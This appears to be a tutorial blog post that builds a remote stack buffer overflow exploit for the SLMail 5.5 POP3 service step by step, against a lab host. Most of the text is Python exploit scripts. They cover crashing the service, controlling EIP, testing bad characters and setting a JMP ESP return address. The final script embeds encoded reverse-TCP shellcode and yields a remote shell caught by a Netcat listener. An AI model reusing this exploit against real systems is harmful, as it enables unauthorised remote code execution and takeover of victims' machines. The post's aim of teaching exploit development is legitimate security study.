Stack Buffer Overflow – Exploiting SLMail 5.5
Introduction
This guide will demonstrate the various steps involved in exploiting the remote buffer overflow vulnerability that is present in the Seattle Lab Mail (SLMail) 5.5 POP3 application, in order to gain remote access to a vulnerable machine.
A POC along with the vulnerable software can be found at this link.
Crashing the application
First of all we have to cause the application to crash, the very first thing to do is install and run the application and attach it to the immunity debugger:
After performing some basic fuzzing, it looks like the application crashes when sending “USER [username]” and “PASS [buffer]”, where buffer is a string of about 6000 characters. An example script can be found below:
import sys
import socket
buffer = 'A' * 6000
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
Running the Python script:
The application crashed with an access violation error and EIP was overwritten with the “A” characters sent by the script:
Identifying the EIP offset
The next step required is to identify which part of the buffer that is being sent is landing in the EIP register, in order to control the execution flow. Using the msf-pattern_create tool to create a string of 6000 bytes.
Adding the pattern to a new script, instead of sending the “A” characters:
import sys
import socket
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac...7Hr8Hr9'
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
Restarting the application, re-attaching Immunity and running the script:
This time, EIP was overwritten with “7A46317A”
Using the msf-pattern_offset tool to calculate the exact offset, which is 4654
Modifying script to override EIP with “B” characters to test this last step, adding a bunch of C characters to fill out the empty space:
import sys
import socket
offset = 'A' * 4654
EIP = 'B' * 4
padding = "C" * (6000 - len(offset) + len(EIP))
buffer = offset + EIP + str(padding)
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
Restarting the application, re-attaching Immunity and running the script:
As expected, the EIP registry was overwritten with the four “B” characters that were sent by the script:
Verifying available shellcode space
The purpose of this step is to verify whether there is enough space for the shellcode immediately after EIP, which is what will be executed by the system in order to gain remote access. Adding about 600 C characters to the script for this phase:
import sys
import socket
offset = 'A' * 4654
EIP = 'B' * 4
shellcode = "C" * (5300 - (len(offset) + len(EIP)))
buffer = offset + EIP + shellcode
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()
Restarting the application, re-attaching Immunity and running the script:
All the “C” characters that were sent by the script were received and they have successfully overwritten the ESP register. This means an ESP JMP address can be used to redirect the execution to ESP, which will contain the malicious shellcode.
When checking the difference between the address at the beginning and the end of the “C” characters this confirms they all made id into ESP:
Testing for bad characters
In this phase all we have to do is identify whether there are any bad characters that can’t be interpreted by the application, so that we can later on remove them from the shellcode.
Modifying the script, adding all possible characters in hex format:
import sys
import socket
offset = 'A' * 4654
EIP = 'B' * 4
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
buffer = offset + EIP + badchars
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()
Restarting the application, re-attaching Immunity and running the script:
After following the ESP register to the memory dump, it looks like 0a did not make it into ESP, therefore this will have to be removed
Removing x0a from the bad characters variable in the script:
import sys
import socket
offset = 'A' * 4654
EIP = 'B' * 4
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
buffer = offset + EIP + badchars
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()
Restarting the application, re-attaching Immunity and running the script:
After following the ESP register to the memory dump, it looks like this time all the characters made it into ESP, therefore no bad characters are present, apart from x00 which is always considered a bad character
Finding a JMP ESP return address
The next step is to find a valid JMP ESP instruction address so that we can redirect the execution of the application to our malicious shell code.
Restarting the application, re-attaching Immunity and using !mona modules
Finding valid opcodes for the JMP ESP instruction – we are after FFE4
Using Mona find to identify a valid dll or exe for our JMP ESP instruction – the Openc32 DLL doesn’t have any pointer
the ARM DLL contains x00 in its address, bad character, so it won’t work
The same applies to the SLmail executable
Finally, the wshtcpip DLL apepars to be have a valid pointer as it doesn’t contain any bad characters:
Copying the address and searching for it to ensure it is valid:
It looks like it corresponds to a valid JMP ESP instruction address
Changing the script to replace the “B” characters used for the EIP register with the newly found JMP ESP instruction address, and adding 428 NOP “C” characters, which will function as placeholder for the shellcode
import sys
import socket
offset = 'A' * 4654
EIP = '\x8b\xc0\x94\x77'
shellcode = "C" * 428
buffer = offset + EIP + shellcode
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()
Restarting the application, re-attaching Immunity and adding a breakpoint on the JMP ESP instruction address, then starting the program execution:
Executing the script again:
When the application stops, it lands on the JMP ESP instruction, which is where the breakpoint was added.
When single-stepping into the application execution, this takes to the NOP slides, as expected
Generating and adding the shellcode
The first step of this phase is to generate some shellcode using MSFvenom with the following flags:
- -p to specify the payload type, in this case the Windows reverse TCP shell
- LHOST to specify the local host IP address to connect to
- LPORT to specify the local port to connect to
- -f to specify the format, in this case Python
- -b to specify the bad characters, in this case x00 and x0a
- -e to specify the encoder, in this case shikata_ga_nai
- -v to specify the name of the variable used for the shellcode
Adding the shellcode to the script, along with 10 NOP slides at the beginning of it to avoid errors during the decoding phase
import sys
import socket
offset = 'A' * 4654
EIP = '\x8b\xc0\x94\x77'
shellcode = b""
shellcode += b"\xeb\x23\x5b\x89\xdf\xb0\xed\xfc\xae\x75\xfd"
shellcode += b"\x89\xf9\x89\xde\x8a\x06\x30\x07\x47\x66\x81"
shellcode += b"\x3f\x6e\x54\x74\x08\x46\x80\x3e\xed\x75\xee"
shellcode += b"\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x27\xed"
shellcode += b"\xdb\xcf\xa5\x27\x27\x27\x47\xae\xc2\x16\xe7"
shellcode += b"\x43\xac\x77\x17\xac\x75\x2b\xac\x75\x33\xac"
shellcode += b"\x55\x0f\x28\x90\x6d\x01\x16\xd8\x8b\x1b\x46"
shellcode += b"\x5b\x25\x0b\x07\xe6\xe8\x2a\x26\xe0\xc5\xd5"
shellcode += b"\x75\x70\xac\x75\x37\xac\x6d\x1b\xac\x6b\x36"
shellcode += b"\x5f\xc4\x6f\x26\xf6\x76\xac\x7e\x07\x26\xf4"
shellcode += b"\xac\x6e\x3f\xc4\x1d\x6e\xac\x13\xac\x26\xf1"
shellcode += b"\x16\xd8\x8b\xe6\xe8\x2a\x26\xe0\x1f\xc7\x52"
shellcode += b"\xd1\x24\x5a\xdf\x1c\x5a\x03\x52\xc3\x7f\xac"
shellcode += b"\x7f\x03\x26\xf4\x41\xac\x2b\x6c\xac\x7f\x3b"
shellcode += b"\x26\xf4\xac\x23\xac\x26\xf7\xae\x63\x03\x03"
shellcode += b"\x7c\x7c\x46\x7e\x7d\x76\xd8\xc7\x78\x78\x7d"
shellcode += b"\xac\x35\xcc\xaa\x7a\x4f\x14\x15\x27\x27\x4f"
shellcode += b"\x50\x54\x15\x78\x73\x4f\x6b\x50\x01\x20\xd8"
shellcode += b"\xf2\x9f\xb7\x26\x27\x27\x0e\xe3\x73\x77\x4f"
shellcode += b"\x0e\xa7\x4c\x27\xd8\xf2\x77\x77\x77\x77\x67"
shellcode += b"\x77\x67\x77\x4f\xcd\x28\xf8\xc7\xd8\xf2\xb0"
shellcode += b"\x4d\x22\x4f\x2d\x27\x27\x49\x4f\x25\x27\x26"
shellcode += b"\x9c\xae\xc1\x4d\x37\x71\x70\x4f\xbe\x82\x53"
shellcode += b"\x46\xd8\xf2\xa2\xe7\x53\x2b\xd8\x69\x2f\x52"
shellcode += b"\xcb\x4f\xd7\x92\x85\x71\xd8\xf2\x4f\x44\x4a"
shellcode += b"\x43\x27\xae\xc4\x70\x70\x70\x16\xd1\x4d\x35"
shellcode += b"\x7e\x71\xc5\xda\x41\xe0\x63\x03\x1b\x26\x26"
shellcode += b"\xaa\x63\x03\x37\xe1\x27\x63\x73\x77\x71\x71"
shellcode += b"\x71\x61\x71\x69\x71\x71\x74\x71\x4f\x5e\xeb"
shellcode += b"\x18\xa1\xd8\xf2\xae\xc7\x69\x71\x61\xd8\x17"
shellcode += b"\x4f\x2f\xa0\x3a\x47\xd8\xf2\x9c\xd7\x92\x85"
shellcode += b"\x71\x4f\x81\xb2\x9a\xba\xd8\xf2\x1b\x21\x5b"
shellcode += b"\x2d\xa7\xdc\xc7\x52\x22\x9c\x60\x34\x55\x48"
shellcode += b"\x4d\x27\x74\xd8\xf2\x6e\x54"
nops = "\x90" * 10
buffer = offset + EIP + nops + shellcode
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()
Exploitation
The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
Restarting the application without the debugger and running the script:
A call back was received and a reverse shell was granted.
Conclusion
Searching for vulnerable applications in exploit databases such as Exploit DB and exploiting them from scratch is not only a great learning experience but also extremely satisfying, and it helps you understand how these attacks were conducted in real life.
If you are interested you can download the application and practice yourself here: https://www.exploit-db.com/apps/12f1ab027e5374587e7e998c00682c5d-SLMail55_4433.exe